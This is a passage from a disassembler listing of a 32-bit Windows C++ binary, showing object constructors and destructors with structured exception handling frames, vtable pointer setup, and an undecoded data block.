var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417990	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417990	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A00	proc near		; CODE XREF: sub_4017D0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A00	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A70	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B80	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417B80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BA0	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D00	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DD0	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417DD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417DD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E90	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417E90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EC0	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417EC0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EF0	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417EF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FB0	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418070	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418070	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180F0	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_11
		mov	eax, esi
		pop	esi
		retn
sub_4180F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418120	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418120	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181A0	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418220	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418220	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418250	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418250	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182D0	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_4182D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418300	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418300	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418330
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4183D0	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_4183E8:				; CODE XREF: sub_4183D0+E4j
		test	bl, bl
		jnz	loc_4184BE
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_4183FE
		mov	bl, 1
		jmp	short loc_418412
; ---------------------------------------------------------------------------


loc_4183FE:				; CODE XREF: sub_4183D0+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418419


loc_418412:				; CODE XREF: sub_4183D0+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418419:				; CODE XREF: sub_4183D0+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_41849E


loc_418454:				; CODE XREF: sub_4183D0+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41847B
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_41847B:				; CODE XREF: sub_4183D0+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418454


loc_41849E:				; CODE XREF: sub_4183D0+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_4183E8
		test	bl, bl
		jz	short loc_4184CB


loc_4184BE:				; CODE XREF: sub_4183D0+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4184CB:				; CODE XREF: sub_4183D0+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_4183D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418530	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418530
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6E8B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_418570
		push	eax
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418570:				; CODE XREF: sub_418530+3Bj
		push	offset byte_446F20


loc_418575:				; CODE XREF: sub_418530+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_41858E
		push	edi
		jmp	short loc_418593
; ---------------------------------------------------------------------------


loc_41858E:				; CODE XREF: sub_418530+59j
		push	offset byte_446F20


loc_418593:				; CODE XREF: sub_418530+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418530	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE93BCE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E081h, 8EE8E890h
		dd 8E8DFFFEh, 1BBEh, 0FE9211E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE940Eh, 15FBE8Dh, 0CF8B0000h, 0FE973FE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8C13E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8DA8h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 12E8CF8Bh, 8BFFFE95h, 8B47E8CFh, 868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 0BFE8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 35E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8E0Bh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE92A6h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE9927E8h, 74C084FFh
		dd 0E8006A08h, 778217BEh, 9826E890h, 8E8DFFFEh,	168h, 0FE9113E8h
		dd 448D50FFh, 0E8501424h, 0FFFE9946h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 9918E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8B1CE8FFh, 9E8DFFFEh, 8EF5Dh, 0BDE8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8CB2E800h,	8E8DFFFEh, 1D29h, 0FE9652E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE93A9h, 0F2858E8Dh, 0C6E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8FA6E800h,	8E8DFFFEh, 8F3A2h, 0FE9A86E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96E3h, 9FE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97E9E800h,	0CF8BFFFEh, 0FE88CEE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9485h, 0FB058E8Dh, 0FDE80009h, 8DFFFE93h
		dd 9FAD38Eh, 9762E800h,	8E8DFFFEh, 9FB93h, 0FE91BCE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9891h, 0FBFF8E8Dh, 26E80009h
		dd 8BFFFE94h, 8AA1E8CEh, 8E8DFFFEh, 8F270h, 71E8F88Bh
		dd 8BFFFE8Fh, 8F6AE8CBh, 39E8FFFEh, 90FFFE93h, 69BC43E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 0E3E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_4188E0:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401EC4j

arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	0
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401767
sub_418900	endp

; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418930	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418930	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4189A0	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_4189A0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4189E0	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_4189E0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A50	proc near		; CODE XREF: sub_401F4Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D84
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
